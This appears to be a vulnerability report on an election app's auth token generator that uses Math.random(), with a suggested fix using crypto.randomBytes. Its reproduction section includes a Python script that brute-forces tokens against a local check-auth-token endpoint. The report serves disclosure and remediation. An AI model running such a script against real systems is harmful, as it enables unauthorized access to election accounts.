Description
The current implementation of the auth token generation function uses Math.random(), which is not a cryptographically secure random number generator (CSPRNG). This makes the generated tokens predictable and vulnerable to brute-force attacks.
Impact
Using Math.random() for generating auth tokens can lead to predictable tokens. An attacker could exploit this vulnerability to generate valid auth tokens, potentially gaining unauthorized access to the system. By analyzing a few captured tokens, an attacker can predict future tokens.
Steps to Reproduce
-
Token Generation Function:
The current implementation generates tokens using the following logic:
function generateOne() {
const random = Math.random();
const integer = String(random).slice(2);
const hex = Number(integer).toString(16);
const auth_token = hex.slice(0, 10);
return auth_token;
}
-
Exploitation Script:
Use the following Python script to exploit the token generation vulnerability:
import random
import requests
import re
def is_bad_pattern(token):
return bool(re.match(r"^[0-9][0-9]{0,6}e[0-9]{0,6}[0-9]$", token))
def generate_one():
random_number = random.random()
integer = str(random_number)[2:]
integer = re.sub(r'e[\+\-]?[0-9]+', '', integer) # Avoid scientific notation issues
hex_number = hex(int(integer))[2:]
return hex_number[:10]
def generate_auth_token():
max_attempts = 1000
for _ in range(max_attempts):
auth_token = generate_one()
if not is_bad_pattern(auth_token):
return auth_token
raise Exception(f"Couldn't generate good auth token with {max_attempts} attempts")
def attempt_token(auth_token, election_id):
url = "http://localhost:3000/api/check-auth-token"
data = {
"auth": auth_token,
"election_id": election_id
}
response = requests.post(url, json=data)
return response
def main(election_id):
while True:
auth_token = generate_auth_token()
response = attempt_token(auth_token, election_id)
if response.status_code == 200:
print(f"Valid token found: {auth_token}")
break
else:
print(f"Invalid token: {auth_token} - Response: {response.status_code}")
if __name__ == "__main__":
election_id = "ADD_REAL_ELECTION_ID"
main(election_id)
Mitigation
Replace Math.random() with a cryptographically secure random number generator, such as crypto.randomBytes in Node.js. Below is an example of a more secure token generation function:
const crypto = require('crypto');
function generateAuthToken() {
let auth_token = generateOne();
let attempts = 1;
const max_attempts = 1000;
while (isBadPatterns(auth_token)) {
auth_token = generateOne();
attempts++;
if (attempts > max_attempts) throw `Couldn't generate good auth token with ${max_attempts} attempts`;
}
return auth_token;
}
function generateOne() {
return crypto.randomBytes(5).toString('hex'); // 10 characters hex string
}
const isBadPatterns = (auth_token) => {
return /^[0-9][0-9]{0,6}e[0-9]{0,6}[0-9]$/i.test(auth_token);
}By using crypto.randomBytes, the generated tokens will be cryptographically secure, significantly reducing the risk of token prediction and brute-force attacks.
Description
The current implementation of the auth token generation function uses
Math.random(), which is not a cryptographically secure random number generator (CSPRNG). This makes the generated tokens predictable and vulnerable to brute-force attacks.Impact
Using
Math.random()for generating auth tokens can lead to predictable tokens. An attacker could exploit this vulnerability to generate valid auth tokens, potentially gaining unauthorized access to the system. By analyzing a few captured tokens, an attacker can predict future tokens.Steps to Reproduce
Token Generation Function:
The current implementation generates tokens using the following logic:
Exploitation Script:
Use the following Python script to exploit the token generation vulnerability:
Mitigation
Replace
Math.random()with a cryptographically secure random number generator, such ascrypto.randomBytesin Node.js. Below is an example of a more secure token generation function:By using
crypto.randomBytes, the generated tokens will be cryptographically secure, significantly reducing the risk of token prediction and brute-force attacks.